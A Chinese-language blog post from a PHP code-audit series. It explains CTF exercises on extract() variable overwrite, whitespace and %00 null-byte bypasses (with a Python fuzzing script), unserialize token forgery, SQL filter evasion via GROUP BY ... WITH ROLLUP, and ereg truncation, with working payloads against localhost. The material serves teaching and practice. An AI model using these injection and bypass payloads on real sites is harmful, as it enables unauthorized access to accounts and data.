PHP代码审计系列(一)

本系列将收集多个PHP代码安全审计项目从易到难,并加入个人详细的源码解读。此系列将进行持续更新。

extract变量覆盖

源码如下

<?php$flag='extractFlag.txt';
extract($_GET);if(isset($shiyan)){ $content=trim(file_get_contents($flag));echo $content;if($shiyan==$content){ echo'ctf{xxx}'; }else{ echo'Oh.no';} }?>

在代码中主要使用了extract函数与file_get_contents函数

在RUNOOB给出的extract函数实例是:

将键值 “Cat”、“Dog” 和 “Horse” 赋值给变量 $a、$b 和 $c:

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>

运行结果

$a = Cat; $b = Dog; $c = Horse

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

在RUNOOB给出的file_get_contents函数实例是:

<?php
echo file_get_contents("test.txt");
?>

运行结果

This is a test file with test text.

file_get_contents() 把整个文件读入一个字符串中。

该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能。

利用:

利用extract的语法特性使shiyan变量等于flag就可以了

http://localhost/phpbugs/01extract.php?shiyan=&flag
http://localhost/phpbugs/01extract.php?shiyan=&flag=1

绕过过滤的空白字符

源码如下

<?php$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";ini_set("display_error", false); //为一个配置选项设置值
error_reporting(0); //关闭所有PHP错误报告if(!isset($_GET['number'])){header("hint:26966dc52e85af40f59b4fe73d8c323a.txt"); //HTTP头显示hint 26966dc52e85af40f59b4fe73d8c323a.txtdie("have a fun!!"); //die — 等同于 exit()}foreach([$_GET, $_POST] as $global_var) {  //foreach 语法结构提供了遍历数组的简单方式 foreach($global_var as $key => $value) { $value = trim($value);  //trim — 去除字符串首尾处的空白字符(或者其他字符)is_string($value) && $req[$key] = addslashes($value); // is_string — 检测变量是否是字符串,addslashes — 使用反斜线引用字符串}
} function is_palindrome_number($number) { $number = strval($number); //strval — 获取变量的字符串值$i = 0; $j = strlen($number) - 1; //strlen — 获取字符串长度while($i < $j) { if($number[$i] !== $number[$j]) { return false; } $i++; $j--; } return true;
} if(is_numeric($_REQUEST['number'])) //is_numeric — 检测变量是否为数字或数字字符串
{$info="sorry, you cann't input a number!";}
elseif($req['number']!=strval(intval($req['number']))) //intval — 获取变量的整数值
{$info = "number must be equal to it's integer!! ";  }
else
{$value1 = intval($req["number"]);$value2 = intval(strrev($req["number"]));  //字符串反转if($value1!=$value2){$info="no, this is not a palindrome number!";}else{if(is_palindrome_number($req["number"])){$info = "nice! {$value1} is a palindrome number!"; }else{$info=$flag;}}}echo $info;

通读代码逻辑如下

首先会判断提交的$_GET数组是否存在number字段,若不存在直接终止当前脚本

然后会遍历$_GET与$_POST数组,若value是字符串将对value进行处理后保存到$req数组

之后会判断提交的number是数字或数字字符串都会终止

判断number若不是整数则终止

接下来会取出number对应的字符串,如果字符串反转后不相等则终止

然后调用is_palindrome_number函数,从字符串的首尾进行遍历判断是否都相等

若不等则输出真正的flag

经过分析需要做其实一共就三件事:

1.绕过number数字判断并输入整数

2.成功通过字符串反转相等的校验

3.避开is_palindrome_number函数的相等校验

针对1我们可以利用%00截断符进行绕过

针对2、3我们可以使用\f换页符(%0C)或者+(%2B)进行绕过

因为intval和is_numeric都会忽略这两个个字符,因为字符串首末遍历不相等又成功绕过is_palindrome_number

同时也可以写脚本fuzz出%0C或%2B进行绕过

import requestsfor i in range(256):rq = requests.get("http://127.0.0.1/phpbugs/02.php?number=%s121"%("%00"+"%%%02X"%i))if 'x' in rq.text:print ("%%%02X" % i)

最后结果

多重加密

ps:这题官方给的答案是错的,网上给的也是错的,麻烦别直接拿给的答案来抄好吗?大家不要被误导了

源码如下:

<?phpinclude 'common.php';$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);//把一个或多个数组合并为一个数组class db{public $where;function __wakeup(){if(!empty($this->where)){$this->select($this->where);}}function select($where){$sql = mysql_query('select * from user where '.$where);//函数执行一条 MySQL 查询。return @mysql_fetch_array($sql);//从结果集中取得一行作为关联数组,或数字数组,或二者兼有返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false}}if(isset($requset['token']))//测试变量是否已经配置。若变量已存在则返回 true 值。其它情形返回 false 值。{$login = unserialize(gzuncompress(base64_decode($requset['token'])));//gzuncompress:进行字符串压缩//unserialize: 将已序列化的字符串还原回 PHP 的值$db = new db();$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。if($login['user'] === 'ichunqiu'){echo $flag;}else if($row['pass'] !== $login['pass']){echo 'unserialize injection!!';}else{echo "(╯‵□′)╯︵┴─┴ ";}}else{header('Location: index.php?error=1');}?>

通读代码逻辑如下:

首先是将$_GET,$_POST,$_SESSION,$_COOKIE合并为一个数组$request

然后有一个db类,它会判断类中的变量where是否为空,若不为空则调用select方法根据where条件进行查询user表返回一个数组

然后判断$request数组中是否有存在token,若不存在直接返回index.php报错,若存在则先对该值进行base64加密(base64_decode),再进行字符串压缩(gzuncompress),再进行反序列化(unserialize)最后赋值给$login

之后取出$_login中的user作为where条件user=$login[user]通过db的select进行查询结果赋值给$row

如果$login[user]与ichunqiu字符串完全相等则输出flag(成功结果),若$row[pass]不等于$login[pass]则输出反序列化失败,其他情况则输出一段字符串

需要我们做的其实就是:

反解密ichunqiu,然后提交token就可以了

网上的错误答案:

<?php$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);?>

麻烦自己打印下看看真的相等吗

print($arr['user'] === 'ichunqiu');

正确答案:

<?php$login = array('user' => "ichunqiu");
$token = base64_encode(gzcompress(serialize($login)));
print($token);
echo '</br>';
print($login['user'] === 'ichunqiu');

结果验证:

因为这题代码和数据库没给完整,为了验证结果简化代码如下

<?php$requset = array_merge($_GET);$flag = "xxxxxx";if(isset($requset['token'])){$login = unserialize(gzuncompress(base64_decode($requset['token'])));if($login['user'] === 'ichunqiu'){echo $flag;}else{echo "(╯‵□′)╯︵┴─┴ ";}}else{header('Location: index.php?error=1');}?>

错误答案获得的token

eJxLtDK0qs60MrBOAuJaAB5uBBQ=

正确答案获得的token

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

SQL注入_WITH ROLLUP绕过

源码如下

<?php
error_reporting(0);if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {echo '<form action="" method="post">'."<br/>";echo '<input name="uname" type="text"/>'."<br/>";echo '<input name="pwd" type="text"/>'."<br/>";echo '<input type="submit" />'."<br/>";echo '</form>'."<br/>";echo '<!--source: source.txt-->'."<br/>";die;
}function AttackFilter($StrKey,$StrValue,$ArrReq){  if (is_array($StrValue)){//检测变量是否是数组$StrValue=implode($StrValue);//返回由数组元素组合成的字符串}if (preg_match("/".$ArrReq."/is",$StrValue)==1){   //匹配成功一次后就会停止匹配print "水可载舟,亦可赛艇!";exit();}
}$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ //遍历数组AttackFilter($key,$value,$filter);
}$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);//设置活动的 MySQL 数据库$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql); //执行一条 MySQL 查询if (mysql_num_rows($query) == 1) { //返回结果集中行的数目$key = mysql_fetch_array($query);//返回根据从结果集取得的行生成的数组,如果没有更多行则返回 falseif($key['pwd'] == $_POST['pwd']) {print "CTF{XXXXXX}";}else{print "亦可赛艇!";}
}else{print "一颗赛艇!";
}
mysql_close($con);
?>

通读代码逻辑如下:

首先是写了一个表单POST提交uname与pwd

接下来遍历$_POST数组调用AttackFilter方法,传入key:value参数与filter

AttackFilter会首先判断传入的value是不是数组,若为数组则将多个元素合成一个字符串重新赋值给传入的value

然后对value进行正则匹配匹配规则为filter,如果匹配成功脚本停止

在之后会连接数据库,根据提交的uname进行查询

如果返回结果集中行的数目等于1,则返回从结果集取得的行生成的数组key

如果数组key中的pwd字段等于表单提交的pwd字段则获得flag其他情况均失败

我们需要做的其实就是:

1.绕过filter

$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"

2.使表单提交的pwd等于查询到返回的pwd

SQL语句:

SELECT * FROM interest WHERE uname = '{$_POST['uname']}'

进行绕过

SELECT * FROM interest WHERE uname = 'admin' GROUP BY pwd WITH ROLLUP LIMIT 1 OFFSET 1-- -'

也就是说使用以下语句登录用户时,密码为空就可以成功绕过

admin' GROUP BY pwd WITH ROLLUP LIMIT 1 OFFSET 1-- -'

此题需要了解的SQL主要是以下这段SQL

WITH ROLLUP LIMIT 1 OFFSET 1

首先是WITH ROLLUP,用在group up后会统计所有结果并返回NULL

再看LIMIT 1 OFFSET 1,是取一条数据从第一条数据后开始取,也就是取第二条数据

等同于LIMIT 1,1,但因为过滤了,所以用OFFSET来进行绕过

ereg正则%00截断

源码如下

<?php $flag = "flag";if (isset ($_GET['password']))
{if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE){echo '<p>You password must be alphanumeric</p>';}else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos — 查找字符串首次出现的位置{die('Flag: ' . $flag);}else{echo('<p>*-* have not been found</p>'); }}else {echo '<p>Invalid password</p>'; }}
?>

通读代码逻辑如下:

首先判断是否存在GET请求的password字段,如果存在继续进行

然后对password进行正则匹配如果password是大小写字母或数字则进行否则输出停止

然后对password的长度进行判断,如果长度小于8数值大于9999999则继续进行

之后利用strops函数查找* - *在字符串中首次出现的位置,如果找到了则输出flag

我们需要做的:

1.password使用大小写字母及数字

2.password长度小于8 数值大于9999999

3.password中存在* - *

这里面的条件都是互相矛盾的,在满足1的条件下条件2用科学计数法1e7也就是10的7次方进行绕过。条件2利用ereg的00%截断符进行绕过,经过分析payload如下

?password=1e7%00*-*

PHP代码审计系列(一)相关推荐

  1. 代码审计系列篇一之代码审计学习思路

    学习代码审计要熟悉三种技术,分四部分走 一:编程语言   1:前端语言 html/javascript/dom元素使用 主要是为了挖掘xss漏洞 jquery 主要写一些涉及到CSRF脚本使用的或者D ...

  2. 代码审计系列:熊海CMS V1.0 (iseaCMS_1.0)

    目录 前言 一.环境 1.用到的工具 2.搭建环境 二.审计 1.文件包含 (1)index.php (2)admin/index.php 2.SQL注入 (1)admin/files/adset.p ...

  3. PHP代码审计系列(一) 基础:方法、思路、流程

    技术交流 关注微信公众号 Z20安全团队 , 回复 加群 ,拉你入群 一起讨论技术. 直接公众号文章复制过来的,排版可能有点乱, 可以去公众号看. 工具 Fotify|代码审计静态扫描工具,商业化静态 ...

  4. java中1%3c%3c2_从零开始java代码审计系列(四)

    最近打算审一审 审计时可以FindBugs 还是有一些帮助的. 后台任意 漏洞路径 /ofcms/ofcms-admin/ public vo 这里可以看到没有任何限制,直接写入 POST /ofcm ...

  5. 代码审计系列:久草CMS(9CCMS)V1.9

    前言 偶然看到一篇9CCMS(久草CMS) V1.9 弱口令+后台拿shell的文章 兴起去找来源码看看,下载源码 审计了下有下面这些洞 1.前台反射XSS 在文件static/home/videoj ...

  6. java代码审计文章集合

    0x00 前言 java代码审计相关文章整理,持续更新. 0x01 java环境基础 搭建Java Web开发环境 配置IDEA编辑器开发java web,从0创建项目 IDEA动态调试 IDEA配置 ...

  7. 一道考查request导致的安全性问题的ctf题

    这道题是在看红日安全团队的代码审计系列文章时碰到的,感觉挺有意思的,所以做了下.题目代码如下 //index.php <?php require 'db.inc.php';function dh ...

  8. CTF命令执行及绕过技巧

    前言 今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列!今天开启php代码审计系列! 今天内容主要是CTF中命令注入及绕过的一些技巧!以及构成RCE的一些情景! 文章目录 前言 正文 ...

  9. 常见的Java审计代码函数关键字_转载:Java代码审计汇总系列(一)——SQL注入

    原文链接:https://cloud.tencent.com/developer/article/1534109 一.代码审计 相比黑盒渗透的漏洞挖掘方式,代码审计具有更高的可靠性和针对性,更多的是依 ...

最新文章

  1. linux vsftpd关于500 OOPS错误问题解决
  2. Python3实现最小栈
  3. poj1753 Flip Game(枚举Enum+dfs)
  4. mysql 视图锁_Oracle数据库的锁类型及相关视图
  5. 超 6 万的微软工程师是如何进行代码审查的?| CSDN 博文精选
  6. vue-touch不能上下滑动的问题【解决】
  7. spring-boot实现访问http跳转到https端口的方法
  8. Atitit 提升扩展性指标与方法总结 目录 1. 扩展性常见指标 1 1.1. 代码简洁,应业务变动调整修改少 1 1.2. 免编译 1 1.3. 是否支持热部署 2 2. 常见的方法策略 2
  9. 丁小平:人类究竟需要什么样的微积分原理
  10. LM2596电源降压调整器(150KHZ 3A)原理图中文版
  11. 四位一体数码管介绍、扫描原理、应用电路和共阳共阴码段编写成都电路板设计
  12. Cox回归列线图(nomogram)的多种绘制方法
  13. Android实现随意拖动View效果
  14. 7月1日天刀服务器维护,天涯明月刀7月1日满级新服_天刀满级新服天命风流入君怀_3DM网游...
  15. 中标麒麟V7系列OS强制破解密码
  16. 什么是Android手机
  17. 二叉树的讲解《二》(二叉树实现堆)
  18. 超大文件上传两种方案
  19. 算法学习-连续子数组求和最大值
  20. 苹果为富士康员工加薪?

热门文章

  1. txt文本文档加密方法总结
  2. c语言光标为什么很粗,Source Insight 光标变粗设置NotePad++光标设置
  3. gRPC(2)- PHP使用gRPC
  4. C 结构体指针初始化
  5. 海尔智家:智慧场景掌握「主动」权,用户体验才有话语权
  6. 主板、中小板、创业板、新三板
  7. 关于Fielding博士论文导读 1
  8. 【学习必看】PHP学习路线图
  9. 【研究生】硕士论文中经常出现的问题,你可能也遇到过哦!
  10. 字节流字符流IO资源处理PropertiesResourceBundle